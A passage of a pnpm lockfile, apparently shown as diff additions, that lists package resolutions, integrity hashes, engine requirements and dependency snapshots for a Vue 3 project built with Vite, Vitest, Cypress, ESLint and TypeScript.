sha512-vDZpf9Chs9mAdfY046mcPt8fg5QSZr37hEH4TXYBnDF+izxgrbRGUAAaBvIk/fJm9aOFCGFd1EsNg5AZCbnQCQ==} + + through@2.3.8: + resolution: {integrity: sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==} + + tinybench@2.9.0: + resolution: {integrity: sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==} + + tinypool@0.3.1: + resolution: {integrity: sha512-zLA1ZXlstbU2rlpA4CIeVaqvWq41MTWqLY3FfsAXgC8+f7Pk7zroaJQxDgxn1xNudKW6Kmj4808rPFShUlIRmQ==} + engines: {node: '>=14.0.0'} + + tinyspy@1.1.1: + resolution: {integrity: sha512-UVq5AXt/gQlti7oxoIg5oi/9r0WpF7DGEVwXgqWSMmyN16+e3tl5lIvTaOpJ3TAtu5xFzWccFRM4R5NaWHF+4g==} + engines: {node: '>=14.0.0'} + + tmp@0.2.3: + resolution: {integrity: sha512-nZD7m9iCPC5g0pYmcaxogYKggSfLsdxl8of3Q/oIbqCqLLIO9IAF0GWjX1z9NZRHPiXv8Wex4yDCaZsgEw0Y8w==} + engines: {node: '>=14.14'} + + to-fast-properties@2.0.0: + resolution: {integrity: sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==} + engines: {node: '>=4'} + + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + + tough-cookie@4.1.4: + resolution: {integrity: sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==} + engines: {node: '>=6'} + + tr46@3.0.0: + resolution: {integrity: sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==} + engines: {node: '>=12'} + + tslib@1.14.1: + resolution: {integrity: sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==} + + tslib@2.7.0: + resolution: {integrity: sha512-gLXCKdN1/j47AiHiOkJN69hJmcbGTHI0ImLmbYLHykhgeN0jVGola9yVjFgzCUklsZQMW55o+dW7IXv3RCXDzA==} + + tsutils@3.21.0: + resolution: {integrity: sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==} + engines: {node: '>= 6'} + peerDependencies: + typescript: '>=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta' + + tunnel-agent@0.6.0: + resolution: {integrity: sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==} + + tweetnacl@0.14.5: + resolution: {integrity: sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==} + + type-check@0.4.0: + resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} + engines: {node: '>= 0.8.0'} + + type-detect@4.1.0: + resolution: {integrity: sha512-Acylog8/luQ8L7il+geoSxhEkazvkslg7PSNKOX59mbB9cOveP5aq9h74Y7YU8yDpJwetzQQrfIwtf4Wp4LKcw==} + engines: {node: '>=4'} + + type-fest@0.20.2: + resolution: {integrity: sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==} + engines: {node: '>=10'} + + type-fest@0.21.3: + resolution: {integrity: sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==} + engines: {node: '>=10'} + + typed-array-buffer@1.0.2: + resolution: {integrity: sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ==} + engines: {node: '>= 0.4'} + + typed-array-byte-length@1.0.1: + resolution: {integrity: sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw==} + engines: {node: '>= 0.4'} + + typed-array-byte-offset@1.0.2: + resolution: {integrity: sha512-Ous0vodHa56FviZucS2E63zkgtgrACj7omjwd/8lTEMEPFFyjfixMZ1ZXenpgCFBBt4EC1J2XsyVS2gkG0eTFA==} + engines: {node: '>= 0.4'} + + typed-array-length@1.0.6: + resolution: {integrity: sha512-/OxDN6OtAk5KBpGb28T+HZc2M+ADtvRxXrKKbUwtsLgdoxgX13hyy7ek6bFRl5+aBs2yZzB0c4CnQfAtVypW/g==} + engines: {node: '>= 0.4'} + + typescript@4.7.4: + resolution: {integrity: sha512-C0WQT0gezHuw6AdY1M2jxUO83Rjf0HP7Sk1DtXj6j1EwkQNZrHAg2XPWlq62oqEhYvONq5pkC2Y9oPljWToLmQ==} + engines: {node: '>=4.2.0'} + hasBin: true + + unbox-primitive@1.0.2: + resolution: {integrity: sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==} + + undici-types@5.26.5: + resolution: {integrity: sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==} + + universalify@0.2.0: + resolution: {integrity: sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==} + engines: {node: '>= 4.0.0'} + + universalify@2.0.1: + resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==} + engines: {node: '>= 10.0.0'} + + untildify@4.0.0: + resolution: {integrity: sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==} + engines: {node: '>=8'} + + uri-js@4.4.1: + resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + + url-parse@1.5.10: + resolution: {integrity: sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==} + + util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + + uuid@13.0.0: + resolution: {integrity: sha512-XQegIaBTVUjSHliKqcnFqYypAd4S+WCYt5NIeRs6w/UAry7z8Y9j5ZwRRL4kzq9U3sD6v+85er9FvkEaBpji2w==} + hasBin: true + + uuid@8.3.2: + resolution: {integrity: sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==} + hasBin: true + + validate-npm-package-license@3.0.4: + resolution: {integrity: sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==} + + verror@1.10.0: + resolution: {integrity: sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==} + engines: {'0': node >=0.6.0} + + vite@4.5.3: + resolution: {integrity: sha512-kQL23kMeX92v3ph7IauVkXkikdDRsYMGTVl5KY2E9OY4ONLvkHf04MDTbnfo6NKxZiDLWzVpP5oTa8hQD8U3dg==} + engines: {node: ^14.18.0 || >=16.0.0} + hasBin: true + peerDependencies: + '@types/node': '>= 14' + less: '*' + lightningcss: ^1.21.0 + sass: '*' + stylus: '*' + sugarss: '*' + terser: ^5.4.0 + peerDependenciesMeta: + '@types/node': + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + + vitest@0.25.8: + resolution: {integrity: sha512-X75TApG2wZTJn299E/TIYevr4E9/nBo1sUtZzn0Ci5oK8qnpZAZyhwg0qCeMSakGIWtc6oRwcQFyFfW14aOFWg==} + engines: {node: '>=v14.16.0'} + hasBin: true + peerDependencies: + '@edge-runtime/vm': '*' + '@vitest/browser': '*' + '@vitest/ui': '*' + happy-dom: '*' + jsdom: '*' + peerDependenciesMeta: + '@edge-runtime/vm': + optional: true + '@vitest/browser': + optional: true + '@vitest/ui': + optional: true + happy-dom: + optional: true + jsdom: + optional: true + + vue-component-type-helpers@2.1.6: + resolution: {integrity: sha512-ng11B8B/ZADUMMOsRbqv0arc442q7lifSubD0v8oDXIFoMg/mXwAPUunrroIDkY+mcD0dHKccdaznSVp8EoX3w==} + + vue-demi@0.14.10: + resolution: {integrity: sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==} + engines: {node: '>=12'} + hasBin: true + peerDependencies: + '@vue/composition-api': ^1.0.0-rc.1 + vue: ^3.0.0-0 || ^2.6.0 + peerDependenciesMeta: + '@vue/composition-api': + optional: true + + vue-eslint-parser@9.4.3: + resolution: {integrity: sha512-2rYRLWlIpaiN8xbPiDyXZXRgLGOtWxERV7ND5fFAv5qo1D2N9Fu9MNajBNc6o13lZ+24DAWCkQCvj4klgmcITg==} + engines: {node: ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: '>=6.0.0' + + vue-i18n@10.0.4: + resolution: {integrity: sha512-1xkzVxqBLk2ZFOmeI+B5r1J7aD/WtNJ4j9k2mcFcQo5BnOmHBmD7z4/oZohh96AAaRZ4Q7mNQvxc9h+aT+Md3w==} + engines: {node: '>= 16'} + peerDependencies: + vue: ^3.0.0 + + vue-router@4.4.3: + resolution: {integrity: sha512-sv6wmNKx2j3aqJQDMxLFzs/u/mjA9Z5LCgy6BE0f7yFWMjrPLnS/sPNn8ARY/FXw6byV18EFutn5lTO6+UsV5A==} + peerDependencies: + vue: ^3.2.0 + + vue-scrollto@2.20.0: + resolution: {integrity: sha512-7i+AGKJTThZnMEkhIPgrZjyAX+fXV7/rGdg+CV283uZZwCxwiMXaBLTmIc5RTA4uwGnT+E6eJle3mXQfM2OD3A==} + + vue-template-compiler@2.7.16: + resolution: {integrity: sha512-AYbUWAJHLGGQM7+cNTELw+KsOG9nl2CnSv467WobS5Cv9uk3wFcnr1Etsz2sEIHEZvw1U+o9mRlEO6QbZvUPGQ==} + + vue-tsc@1.8.27: + resolution: {integrity: sha512-WesKCAZCRAbmmhuGl3+VrdWItEvfoFIPXOvUJkjULi+x+6G/Dy69yO3TBRJDr9eUlmsNAwVmxsNZxvHKzbkKdg==} + hasBin: true + peerDependencies: + typescript: '*' + + vue@3.5.3: + resolution: {integrity: sha512-xvRbd0HpuLovYbOHXRHlSBsSvmUJbo0pzbkKTApWnQGf3/cu5Z39mQeA5cZdLRVIoNf3zI6MSoOgHUT5i2jO+Q==} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + w3c-xmlserializer@4.0.0: + resolution: {integrity: sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw==} + engines: {node: '>=14'} + + wait-on@7.0.1: + resolution: {integrity: sha512-9AnJE9qTjRQOlTZIldAaf/da2eW0eSRSgcqq85mXQja/DW3MriHxkpODDSUEg+Gri/rKEcXUZHe+cevvYItaog==} + engines: {node: '>=12.0.0'} + hasBin: true + + webidl-conversions@7.0.0: + resolution: {integrity: sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==} + engines: {node: '>=12'} + + whatwg-encoding@2.0.0: + resolution: {integrity: sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==} + engines: {node: '>=12'} + + whatwg-mimetype@3.0.0: + resolution: {integrity: sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==} + engines: {node: '>=12'} + + whatwg-url@11.0.0: + resolution: {integrity: sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==} + engines: {node: '>=12'} + + which-boxed-primitive@1.0.2: + resolution: {integrity: sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==} + + which-typed-array@1.1.15: + resolution: {integrity: sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA==} + engines: {node: '>= 0.4'} + + which@1.3.1: + resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==} + hasBin: true + + which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} + engines: {node: '>= 8'} + hasBin: true + + word-wrap@1.2.5: + resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} + engines: {node: '>=0.10.0'} + + wrap-ansi@6.2.0: + resolution: {integrity: sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==} + engines: {node: '>=8'} + + wrap-ansi@7.0.0: + resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} + engines: {node: '>=10'} + + wrap-ansi@8.1.0: + resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==} + engines: {node: '>=12'} + + wrappy@1.0.2: + resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} + + ws@8.17.1: + resolution: {integrity: sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==} + engines: {node: '>=10.0.0'} + peerDependencies: + bufferutil: ^4.0.1 + utf-8-validate: '>=5.0.2' + peerDependenciesMeta: + bufferutil: + optional: true + utf-8-validate: + optional: true + + ws@8.18.0: + resolution: {integrity: sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==} + engines: {node: '>=10.0.0'} + peerDependencies: + bufferutil: ^4.0.1 + utf-8-validate: '>=5.0.2' + peerDependenciesMeta: + bufferutil: + optional: true + utf-8-validate: + optional: true + + xml-name-validator@4.0.0: + resolution: {integrity: sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==} + engines: {node: '>=12'} + + xmlchars@2.2.0: + resolution: {integrity: sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==} + + xmlhttprequest-ssl@2.1.2: + resolution: {integrity: sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==} + engines: {node: '>=0.4.0'} + + yauzl@2.10.0: + resolution: {integrity: sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==} + + yocto-queue@0.1.0: + resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} + engines: {node: '>=10'} + + zip-stream@6.0.1: + resolution: {integrity: sha512-zK7YHHz4ZXpW89AHXUPbQVGKI7uvkd3hzusTdotCg1UxyaVtg0zFJSTfW/Dq5f7OBBVnq6cZIaC8Ti4hb6dtCA==} + engines: {node: '>= 14'} + +snapshots: + + '@babel/helper-string-parser@7.24.8': {} + + '@babel/helper-validator-identifier@7.24.7': {} + + '@babel/parser@7.25.6': + dependencies: + '@babel/types': 7.25.6 + + '@babel/types@7.25.6': + dependencies: + '@babel/helper-string-parser': 7.24.8 + '@babel/helper-validator-identifier': 7.24.7 + to-fast-properties: 2.0.0 + + '@colors/colors@1.5.0': + optional: true + + '@cypress/request@2.88.12': + dependencies: + aws-sign2: 0.7.0 + aws4: 1.13.2 + caseless: 0.12.0 + combined-stream: 1.0.8 + extend: 3.0.2 + forever-agent: 0.6.1 + form-data: 2.3.3 + http-signature: 1.3.6 + is-typedarray: 1.0.0 + isstream: 0.1.2 + json-stringify-safe: 5.0.1 + mime-types: 2.1.35 + performance-now: 2.1.0 + qs: 6.10.4 + safe-buffer: 5.2.1 + tough-cookie: 4.1.4 + tunnel-agent: 0.6.0 + uuid: 8.3.2 + + '@cypress/xvfb@1.2.4(supports-color@8.1.1)': + dependencies: + debug: 3.2.7(supports-color@8.1.1) + lodash.once: 4.1.1 + transitivePeerDependencies: + - supports-color + + '@esbuild/android-arm64@0.18.20': + optional: true + + '@esbuild/android-arm@0.18.20': + optional: true + + '@esbuild/android-x64@0.18.20': + optional: true + + '@esbuild/darwin-arm64@0.18.20': + optional: true + + '@esbuild/darwin-x64@0.18.20': + optional: true + + '@esbuild/freebsd-arm64@0.18.20': + optional: true + + '@esbuild/freebsd-x64@0.18.20': + optional: true + + '@esbuild/linux-arm64@0.18.20': + optional: true + + '@esbuild/linux-arm@0.18.20': + optional: true + + '@esbuild/linux-ia32@0.18.20': + optional: true + + '@esbuild/linux-loong64@0.18.20': + optional: true + + '@esbuild/linux-mips64el@0.18.20': + optional: true + + '@esbuild/linux-ppc64@0.18.20': + optional: true + + '@esbuild/linux-riscv64@0.18.20': + optional: true + + '@esbuild/linux-s390x@0.18.20': + optional: true + + '@esbuild/linux-x64@0.18.20': + optional: true + + '@esbuild/netbsd-x64@0.18.20': + optional: true + + '@esbuild/openbsd-x64@0.18.20': + optional: true + + '@esbuild/sunos-x64@0.18.20': + optional: true + + '@esbuild/win32-arm64@0.18.20': + optional: true + + '@esbuild/win32-ia32@0.18.20': + optional: true + + '@esbuild/win32-x64@0.18.20': + optional: true + + '@eslint-community/eslint-utils@4.4.0(eslint@8.57.0)': + dependencies: + eslint: 8.57.0 + eslint-visitor-keys: 3.4.3 + + '@eslint-community/regexpp@4.11.0': {} + + '@eslint/eslintrc@2.1.4': + dependencies: + ajv: 6.12.6 + debug: 4.3.7(supports-color@8.1.1) + espree: 9.6.1 + globals: 13.24.0 + ignore: 5.3.2 + import-fresh: 3.3.0 + js-yaml: 4.1.0 + minimatch: 3.1.2 + strip-json-comments: 3.1.1 + transitivePeerDependencies: + - supports-color + + '@eslint/js@8.57.0': {} + + '@hapi/hoek@9.3.0': {} + + '@hapi/topo@5.1.0': + dependencies: + '@hapi/hoek': 9.3.0 + + '@humanwhocodes/config-array@0.11.14': + dependencies: + '@humanwhocodes/object-schema': 2.0.3 + debug: 4.3.7(supports-color@8.1.1) + minimatch: 3.1.2 + transitivePeerDependencies: + - supports-color + + '@humanwhocodes/module-importer@1.0.1': {} + + '@humanwhocodes/object-schema@2.0.3': {} + + '@intlify/core-base@10.0.4': + dependencies: + '@intlify/message-compiler': 10.0.4 + '@intlify/shared': 10.0.4 + + '@intlify/message-compiler@10.0.4': + dependencies: + '@intlify/shared': 10.0.4 + source-map-js: 1.2.0 + + '@intlify/shared@10.0.4': {} + + '@isaacs/cliui@8.0.2': + dependencies: + string-width: 5.1.2 + string-width-cjs: string-width@4.2.3 + strip-ansi: 7.1.0 + strip-ansi-cjs: strip-ansi@6.0.1 + wrap-ansi: 8.1.0 + wrap-ansi-cjs: wrap-ansi@7.0.0 + + '@jridgewell/sourcemap-codec@1.5.0': {} + + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.17.1 + + '@one-ini/wasm@0.1.1': {} + + '@pkgjs/parseargs@0.11.0': + optional: true + + '@popperjs/core@2.11.8': {} + + '@rushstack/eslint-patch@1.10.4': {} + + '@sideway/address@4.1.5': + dependencies: + '@hapi/hoek': 9.3.0 + + '@sideway/formula@3.0.1': {} + + '@sideway/pinpoint@2.0.0': {} + + '@socket.io/component-emitter@3.1.2': {} + + '@tootallnate/once@2.0.0': {} + + '@types/chai-subset@1.3.5': + dependencies: + '@types/chai': 4.3.19 + + '@types/chai@4.3.19': {} + + '@types/jsdom@20.0.1': + dependencies: + '@types/node': 18.19.50 + '@types/tough-cookie': 4.0.5 + parse5: 7.1.2 + + '@types/json-schema@7.0.15': {} + + '@types/lodash@4.17.12': {} + + '@types/node@16.18.108': {} + + '@types/node@18.19.50': + dependencies: + undici-types: 5.26.5 + + '@types/semver@7.5.8': {} + + '@types/sinonjs__fake-timers@8.1.1': {} + + '@types/sizzle@2.3.8': {} + + '@types/tough-cookie@4.0.5': {} + + '@types/uuid@11.0.0': + dependencies: + uuid: 13.0.0 + + '@types/yauzl@2.10.3': + dependencies: + '@types/node': 18.19.50 + optional: true + + '@typescript-eslint/eslint-plugin@5.62.0(@typescript-eslint/parser@5.62.0(eslint@8.57.0)(typescript@4.7.4))(eslint@8.57.0)(typescript@4.7.4)': + dependencies: + '@eslint-community/regexpp': 4.11.0 + '@typescript-eslint/parser': 5.62.0(eslint@8.57.0)(typescript@4.7.4) + '@typescript-eslint/scope-manager': 5.62.0 + '@typescript-eslint/type-utils': 5.62.0(eslint@8.57.0)(typescript@4.7.4) + '@typescript-eslint/utils': 5.62.0(eslint@8.57.0)(typescript@4.7.4) + debug: 4.3.7(supports-color@8.1.1) + eslint: 8.57.0 + graphemer: 1.4.0 + ignore: 5.3.2 + natural-compare-lite: 1.4.0 + semver: 7.6.3 + tsutils: 3.21.0(typescript@4.7.4) + optionalDependencies: + typescript: 4.7.4 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/parser@5.62.0(eslint@8.57.0)(typescript@4.7.4)': + dependencies: + '@typescript-eslint/scope-manager': 5.62.0 + '@typescript-eslint/types': 5.62.0 + '@typescript-eslint/typescript-estree': 5.62.0(typescript@4.7.4) + debug: 4.3.7(supports-color@8.1.1) + eslint: 8.57.0 + optionalDependencies: + typescript: 4.7.4 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/scope-manager@5.62.0': + dependencies: + '@typescript-eslint/types': 5.62.0 + '@typescript-eslint/visitor-keys': 5.62.0 + + '@typescript-eslint/type-utils@5.62.0(eslint@8.57.0)(typescript@4.7.4)': + dependencies: + '@typescript-eslint/typescript-estree': 5.62.0(typescript@4.7.4) + '@typescript-eslint/utils': 5.62.0(eslint@8.57.0)(typescript@4.7.4) + debug: 4.3.7(supports-color@8.1.1) + eslint: 8.57.0 + tsutils: 3.21.0(typescript@4.7.4) + optionalDependencies: + typescript: 4.7.4 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/types@5.62.0': {} + + '@typescript-eslint/typescript-estree@5.62.0(typescript@4.7.4)': + dependencies: + '@typescript-eslint/types': 5.62.0 + '@typescript-eslint/visitor-keys': 5.62.0 + debug: 4.3.7(supports-color@8.1.1) + globby: 11.1.0 + is-glob: 4.0.3 + semver: 7.6.3 + tsutils: 3.21.0(typescript@4.7.4) + optionalDependencies: + typescript: 4.7.4 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/utils@5.62.0(eslint@8.57.0)(typescript@4.7.4)': + dependencies: + '@eslint-community/eslint-utils': 4.4.0(eslint@8.57.0) + '@types/json-schema': 7.0.15 + '@types/semver': 7.5.8 + '@typescript-eslint/scope-manager': 5.62.0 + '@typescript-eslint/types': 5.62.0 + '@typescript-eslint/typescript-estree': 5.62.0(typescript@4.7.4) + eslint: 8.57.0 + eslint-scope: 5.1.1 + semver: 7.6.3 + transitivePeerDependencies: + - supports-color + - typescript + + '@typescript-eslint/visitor-keys@5.62.0': + dependencies: + '@typescript-eslint/types': 5.62.0 + eslint-visitor-keys: 3.4.3 + + '@ungap/structured-clone@1.2.0': {} + + '@vitejs/plugin-vue@4.6.2(vite@4.5.3(@types/node@18.19.50))(vue@3.5.3(typescript@4.7.4))': + dependencies: + vite: 4.5.3(@types/node@18.19.50) + vue: 3.5.3(typescript@4.7.4) + + '@volar/language-core@1.11.1': + dependencies: + '@volar/source-map': 1.11.1 + + '@volar/source-map@1.11.1': + dependencies: + muggle-string: 0.3.1 + + '@volar/typescript@1.11.1': + dependencies: + '@volar/language-core': 1.11.1 + path-browserify: 1.0.1 + + '@vue/compiler-core@3.5.3': + dependencies: + '@babel/parser': 7.25.6 + '@vue/shared': 3.5.3 + entities: 4.5.0 + estree-walker: 2.0.2 + source-map-js: 1.2.0 + + '@vue/compiler-dom@3.5.3': + dependencies: + '@vue/compiler-core': 3.5.3 + '@vue/shared': 3.5.3 + + '@vue/compiler-sfc@3.5.3': + dependencies: + '@babel/parser': 7.25.6 + '@vue/compiler-core': 3.5.3 + '@vue/compiler-dom': 3.5.3 + '@vue/compiler-ssr': 3.5.3 + '@vue/shared': 3.5.3 + estree-walker: 2.0.2 + magic-string: 0.30.11 + postcss: 8.4.45 + source-map-js: 1.2.0 + + '@vue/compiler-ssr@3.5.3': + dependencies: + '@vue/compiler-dom': 3.5.3 + '@vue/shared': 3.5.3 + + '@vue/devtools-api@6.6.3': {} + + '@vue/eslint-config-prettier@7.1.0(eslint@8.57.0)(prettier@2.8.8)': + dependencies: + eslint: 8.57.0 + eslint-config-prettier: 8.10.0(eslint@8.57.0) + eslint-plugin-prettier: 4.2.1(eslint-config-prettier@8.10.0(eslint@8.57.0))(eslint@8.57.0)(prettier@2.8.8) + prettier: 2.8.8 + + '@vue/eslint-config-typescript@11.0.3(eslint-plugin-vue@9.28.0(eslint@8.57.0))(eslint@8.57.0)(typescript@4.7.4)': + dependencies: + '@typescript-eslint/eslint-plugin': 5.62.0(@typescript-eslint/parser@5.62.0(eslint@8.57.0)(typescript@4.7.4))(eslint@8.57.0)(typescript@4.7.4) + '@typescript-eslint/parser': 5.62.0(eslint@8.57.0)(typescript@4.7.4) + eslint: 8.57.0 + eslint-plugin-vue: 9.28.0(eslint@8.57.0) + vue-eslint-parser: 9.4.3(eslint@8.57.0) + optionalDependencies: + typescript: 4.7.4 + transitivePeerDependencies: + - supports-color + + '@vue/language-core@1.8.27(typescript@4.7.4)': + dependencies: + '@volar/language-core': 1.11.1 + '@volar/source-map': 1.11.1 + '@vue/compiler-dom': 3.5.3 + '@vue/shared': 3.5.3 + computeds: 0.0.1 + minimatch: 9.0.5 + muggle-string: 0.3.1 + path-browserify: 1.0.1 + vue-template-compiler: 2.7.16 + optionalDependencies: + typescript: 4.7.4 + + '@vue/reactivity@3.5.3': + dependencies: + '@vue/shared': 3.5.3 + + '@vue/runtime-core@3.5.3': + dependencies: + '@vue/reactivity': 3.5.3 + '@vue/shared': 3.5.3 + + 